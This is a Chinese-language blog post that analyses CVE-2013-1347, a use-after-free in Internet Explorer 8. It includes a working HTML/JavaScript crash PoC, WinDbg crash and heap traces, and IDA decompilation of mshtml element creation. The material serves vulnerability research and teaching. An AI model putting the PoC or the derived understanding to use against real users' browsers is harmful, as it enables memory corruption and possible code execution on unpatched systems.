zoukankan      html  css  js  c++  java
  • CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞

    [CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092)

            Microsoft Internet Explorer是美国微软(Microsoft)公司发布的Windows操作系统中默认捆绑的Web浏览器。
            Internet Explorer 访问尚未正确初始化或已被删除的对象的方式中存在一个远程执行代码漏洞,该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式损坏内存。攻 击者可能拥有一个特制的网站,旨在利用此漏洞通过IE浏览器,然后诱使用户查看该网站。

    POC:

    <!doctype html> <!-- required -->
    <HTML>
    <head>
    </head>
    <body>
    <ttttt:whatever id="myanim"/><!-- required format -->
    <script>
        f0=document.createElement('span');
        document.body.appendChild(f0);
    
        f1=document.createElement('span');
        document.body.appendChild(f1);
    
        f2=document.createElement('span');
        document.body.appendChild(f2);
    
        document.body.contentEditable="true";
        f2.appendChild(document.createElement('datalist')); //has to be a data list
        f1.appendChild(document.createElement('table'));    //has to be a table
    
        try{
                f0.offsetParent=null;                       //required
        }catch(e){  }
    
        f2.innerHTML="";                                    //required
        f0.appendChild(document.createElement('hr'));       //required
        f1.innerHTML="";                                    //required
        CollectGarbage();
     </script>
    </body>
    </html>

    打开POC后造成的crash如下,已开启页堆和堆分配记录。

    (4dc.8f0): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=66c25100 ebx=17a72fb0 ecx=09106fc8 edx=00000000 esi=045fedc8 edi=00000000
    eip=668ac400 esp=045fed9c ebp=045fedb4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    mshtml!CElement::Doc:
    668ac400 8b01            mov     eax,dword ptr [ecx]  ds:0023:09106fc8=????????

    看一下附近的汇编,如下所示。是很明显的对象访问,看前三句就知道是去对象虚表,然后索引虚函数去调用。crash出现在ecx

    1:017> u 668ac400
    mshtml!CElement::Doc:
    668ac400 8b01            mov     eax,dword ptr [ecx]
    668ac402 8b5070          mov     edx,dword ptr [eax+70h]
    668ac405 ffd2            call    edx
    668ac407 8b400c          mov     eax,dword ptr [eax+0Ch]
    668ac40a c3              ret
    668ac40b 33c0            xor     eax,eax
    668ac40d e9f7aeffff      jmp     mshtml!CAttrArray::PrivateFind+0x8f (668a7309)
    668ac412 90              nop

    我们看下ecx,如下所示,ecx是不可访的。那么我只需要关注一下ecx到底是什么就可以知道问题的关键了。

    1:017> dc ecx
    09106fc8  ???????? ???????? ???????? ????????  ????????????????
    09106fd8  ???????? ???????? ???????? ????????  ????????????????
    09106fe8  ???????? ???????? ???????? ????????  ????????????????
    09106ff8  ???????? ???????? ???????? ????????  ????????????????
    09107008  ???????? ???????? ???????? ????????  ????????????????
    09107018  ???????? ???????? ???????? ????????  ????????????????
    09107028  ???????? ???????? ???????? ????????  ????????????????
    09107038  ???????? ???????? ???????? ????????  ????????????????

    看下ecx是否属于堆,如下所示,果然是属于堆的,而且根据堆的分配回溯这是已经释放的堆,明显的UAF漏洞。我们具体看下这是什么对象,

    CGenericElement::`vector deleting destructor'

    看来是CGenericElement对象的问题

    1:018> !heap -p -a ecx
        address 097ecfc8 found in
        _DPH_HEAP_ROOT @ 12e1000
        in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                        9771270:          97ec000             2000
        770290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
        76f15674 ntdll!RtlDebugFreeHeap+0x0000002f
        76ed7aca ntdll!RtlpFreeHeap+0x0000005d
        76ea2d68 ntdll!RtlFreeHeap+0x00000142
        7671f1ac kernel32!HeapFree+0x00000014
        6793b9a8 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
        67ab7dd0 mshtml!CBase::SubRelease+0x00000022
        67aac482 mshtml!CElement::PrivateRelease+0x0000002a
        67aab034 mshtml!PlainRelease+0x00000025
        67b0669d mshtml!PlainTrackerRelease+0x00000014
        687da6f1 jscript!VAR::Clear+0x0000005f
        687f6d66 jscript!GcContext::Reclaim+0x000000b6
        687f4309 jscript!GcContext::CollectCore+0x00000123
        68858572 jscript!JsCollectGarbage+0x0000001d
        687e74ac jscript!NameTbl::InvokeInternal+0x00000141
        687e4ea4 jscript!VAR::InvokeByDispID+0x0000017f
        687ee3e7 jscript!CScriptRuntime::Run+0x00002b80
        687e5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
        687e5bfb jscript!ScrFncObj::Call+0x0000008d
        687e5e11 jscript!CSession::Execute+0x0000015f
        687e612a jscript!COleScript::ExecutePendingScripts+0x000001bd
        687ec2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4
        687ec0f1 jscript!COleScript::ParseScriptText+0x00000030
        67a668c7 mshtml!CScriptCollection::ParseScriptText+0x00000218
        67a666bf mshtml!CScriptElement::CommitCode+0x000003ae
        67a66c35 mshtml!CScriptElement::Execute+0x000000c6
        67a482b5 mshtml!CHtmParse::Execute+0x0000004a
        67a277cf mshtml!CHtmPost::Broadcast+0x0000000f
        67a27f36 mshtml!CHtmPost::Exec+0x000005f7
        67a28a99 mshtml!CHtmPost::Run+0x00000015
        67a289fd mshtml!PostManExecute+0x000001fb
        67a27c66 mshtml!PostManResume+0x000000f7

    为了验证我们的猜测,我们来看下这个发生UAF的对象是怎么分配的。我们先对这个对象的析构函数下断,操作如下。

     重新加载进程,别忘了设置.childdbg 1。每次运行都要重新设置感觉好烦,不知道怎么设置保存下来。断在如下所示位置

    我们来看一下堆的分配情况

    1:018> dc esp
    0478b104  00000000 0478b118 0478b120 17c0cff0  ......x. .x.....
    0478b114  0478b1ac 00000000 00000000 04780000  ..x...........x.
    0478b124  0478b268 1043ee18 00000000 00000004  h.x...C.........
    0478b134  0478b168 68660521 00000000 00000000  h.x.!.fh........
    0478b144  00000000 92627e19 0ef3eff0 0ee52ff0  .....~b....../..
    0478b154  0478b1ac 0478b148 0478b1bc 686b4575  ..x.H.x...x.uEkh
    0478b164  00000000 0478b184 686a9379 17c0cff0  ......x.y.jh....
    0478b174  00000000 00000000 00000006 00000000  ................
    1:018> !heap -p -a 17c0cff0  
        address 17c0cff0 found in
        _DPH_HEAP_ROOT @ 1161000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                    18263618:         17c0cff0                c -         17c0c000             2000
              mstime!MMBaseBvr::TEBvr::`vftable'
        737e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
        77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030
        77917d96 ntdll!RtlpAllocateHeap+0x000000c4
        778e34ca ntdll!RtlAllocateHeap+0x0000023a
        6864137f mstime!ATL_malloc+0x00000016
        6865f084 mstime!MMBaseBvr::Init+0x00000051
        68665a60 mstime!MMTimeline::Init+0x00000071
        6865d07a mstime!CTIMEElementBase::InitTimeline+0x000000aa
        68656c68 mstime!CTIMEBodyElement::InitTimeline+0x0000001a
        6865d1b1 mstime!CTIMEElementBase::OnPropertiesLoaded+0x00000018
        6869bc4e mstime!CBaseBvr::Load+0x0000000e
        6865de26 mstime!CTIMEElementBase::Load+0x0000002d
        6865778d mstime!CTIMEBodyElement::Load+0x0000002d
        66974892 mshtml!CPeerHolder::InitAttributes+0x000000a9
        668675d0 mshtml!CPeerHolder::AttachPeer+0x000000b8
        668674b4 mshtml!CPeerHolder::Create+0x00000059
        6671fb66 mshtml!CPeerFactory::AttachPeer+0x0000000f
        668745d9 mshtml!CDoc::AttachPeer+0x0000013c
        668746e5 mshtml!CElement::addBehavior+0x000000d9
        6864ec3f mstime!AddBodyBehavior+0x000000a6
        686583ea mstime!CTIMEElementBase::Init+0x00000207
        6866a0b6 mstime!CTIMEAnimationBase::Init+0x0000002d
        668675a3 mshtml!CPeerHolder::AttachPeer+0x00000093
        668674b4 mshtml!CPeerHolder::Create+0x00000059
        6686a1c5 mshtml!CPeerFactoryUrl::AttachPeer+0x00000029
        66a5fc74 mshtml!CPeerFactoryUrl::AttachPeer+0x00000012
        668745d9 mshtml!CDoc::AttachPeer+0x0000013c
        66a3deb5 mshtml!CElement::EnsureIdentityPeer+0x00000044
        66986ca6 mshtml!CHtmPost::Exec+0x00000460
        66828a99 mshtml!CHtmPost::Run+0x00000015
        668289fd mshtml!PostManExecute+0x000001fb
        66827c66 mshtml!PostManResume+0x000000f7

    到这里我们对于这个对象的分配和重利用都摸清楚了。但是还是不清楚漏洞为何会触发,接下来从poc的解析入手来分析一下为什么会触发这个漏洞。首先调用createElement方法创建一个元素,这个函数只要是接触过js的都肯定用到过,但是查看他的C++实现还是第一次。首先要对mshtml加载符号表。在IDA中搜索函数createElement就可以得到下面的结果,可以看到CDocument::createElement,这个CDocument就是js中的document对象。

    __int32 __stdcall CDocument::createElement(CDocument *this, BSTR a2, struct IHTMLElement **a3)
    {
      CBase *v3; // ecx@1
      __int32 v4; // edi@1
    
      *a3 = 0;
      v4 = CDocument::CreateElementHelper(a2);//看来主要功能都在这里实现
      if ( !v4 )//错误处理
      {
        v4 = (*(int (__stdcall **)(_DWORD, GUID *, struct IHTMLElement **))(v0 + 216))(0, &IID_IHTMLElement, a3);
        (*(void (__stdcall **)(_DWORD))(v0 + 224))(0);
      }
      return CBase::SetErrorInfo(v3, v4);
    }

    CDocument::CreateElementHelper()的代码如下

    int __userpurge CDocument::CreateElementHelper@<eax>(int a1@<eax>, CDocument *a2@<ecx>, CDocument *a3@<edi>, BSTR a4)
    {
      int v4; // esi@1
      struct CDoc *v5; // eax@2
      CTLSScriptSourceInfo *v6; // ecx@2
      UINT v7; // ST0C_4@2
      struct CMarkup *v8; // eax@2
      int v9; // esi@2
      CTLSScriptSourceInfo *v10; // ecx@2
      char v12; // [sp+7h] [bp-1h]@2
    
      v4 = a1;
      *(_DWORD *)a1 = 0;
      if ( a4 )
      {
        CDocument::Doc(a2);
        v5 = CDocument::Markup(a3);
        CTLSScriptSourceInfo::CTLSScriptSourceInfo(v6, (struct CBase *)&v12, a3, v5);
        v7 = SysStringLen(a4);
        v8 = CDocument::Markup(a3);
        v9 = CMarkup::CreateElement(v8, v4, a4, v7);
        CTLSScriptSourceInfo::~CTLSScriptSourceInfo(v10);
      }
      else
      {
        v9 = -2147024809;
      }
      return v9;
    }

    接着跟进 CMarkup::CreateElement()

     public: long __stdcall CDocument::createElement(unsigned short *, struct IHTMLElement * *)
    ?createElement@CDocument@@QAGJPAGPAPAUIHTMLElement@@@Z proc near
    
    var_4= dword ptr -4
    arg_0= dword ptr  8
    arg_4= dword ptr  0Ch
    arg_8= dword ptr  10h
    
    mov     edi, edi
    push    ebp
    mov     ebp, esp
    push    ecx
    and     [ebp+var_4], 0
    push    ebx
    mov     ebx, [ebp+arg_8]
    and     dword ptr [ebx], 0
    push    esi
    push    edi
    push    [ebp+arg_4]     ; BSTR
    mov     edi, [ebp+arg_0]
    lea     eax, [ebp+var_4]
    call    ?CreateElementHelper@CDocument@@QAEJPAGPAPAVCElement@@@Z ; CDocument::CreateElementHelper(ushort *,CElement * *)
    mov     edi, eax
    test    edi, edi
    jnz     short loc_74D21DF2

    再跟进CreateElement

    .text:74D64BCC                 movzx   eax, byte ptr [edi+1]
    .text:74D64BD0                 shl     eax, 4
    .text:74D64BD3                 add     eax, offset ?g_atagdesc@@3QBVCTagDesc@@B ; CTagDesc const * const g_atagdesc
    .text:74D64BD8                 jz      loc_74EB9A91
    .text:74D64BDE                 mov     eax, [eax+8]
    .text:74D64BE1                 lea     ecx, [ebp+arg_8]
    .text:74D64BE4                 push    ecx
    .text:74D64BE5                 push    edx
    .text:74D64BE6                 push    edi
    .text:74D64BE7                 call    eax

    就是说CDocument::createElement这个函数会根据不同的创建目标调用不同的创建函数,poc中js是这么写的

    f0=document.createElement('span');

    那么CDocument::createElement调用的也就是CSpanElement::CreateElement函数了。我们在IDA中找一下这个函数

    signed int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3)
    {
      LPVOID v3; // esi@1
      struct CElement *v4; // eax@2
    
      v3 = HeapAlloc(g_hProcessHeap, 8u, 0x28u);
      if ( v3 )
      {
        CElement::CElement(91, a2);
        *(_DWORD *)v3 = &CSpanElement::`vftable';
        v4 = (struct CElement *)v3;
      }
      else
      {
        v4 = 0;
      }
      *a3 = v4;
      return v4 != 0 ? 0 : -2147024882;
    }

    这里可以看到分配了一块堆内存

    int __userpurge CElement::CElement@<eax>(int a1@<eax>, char a2, int a3)
    {
      int v3; // ebx@1
      int v4; // edi@1
      CElement *v5; // ecx@1
    
      v3 = a3;
      v4 = a1;
      CBase::CBase();
      *(_DWORD *)(v4 + 36) = 0;
      *(_DWORD *)v4 = &CElement::`vftable';
      (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 112))(v3);
      CElement::ReplaceSecurityContext(v5);
      *(_DWORD *)(v3 + 8) += 8;
      _IncrementObjectCount();
      *(_DWORD *)(v4 + 28) &= 0xFFFBFFFF;
      *(_BYTE *)(v4 + 32) &= 0xFEu;
      *(_BYTE *)(v4 + 24) = a2;
      return v4;
    }

    我们可以在这里学到:每个DOM元素创建时都会经过CElement::CElement函数来初始化,如果想拦截元素创建就对这里下断,因为这里是元素创建的必经之路。

  • 相关阅读:
    虚拟主机wordpress文件上传大小限制更改
    wordpress网站迁移
    JavaScript算法相关
    文章阅读(三)
    文章阅读(二)
    Image():强制让图片缓存起来
    JavaScript运算符与类型
    JavaScript权威指南--多媒体和图形编程
    JavaScript权威指南--脚本化HTTP
    JavaScript权威指南--事件处理
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5719187.html
Copyright © 2011-2022 走看看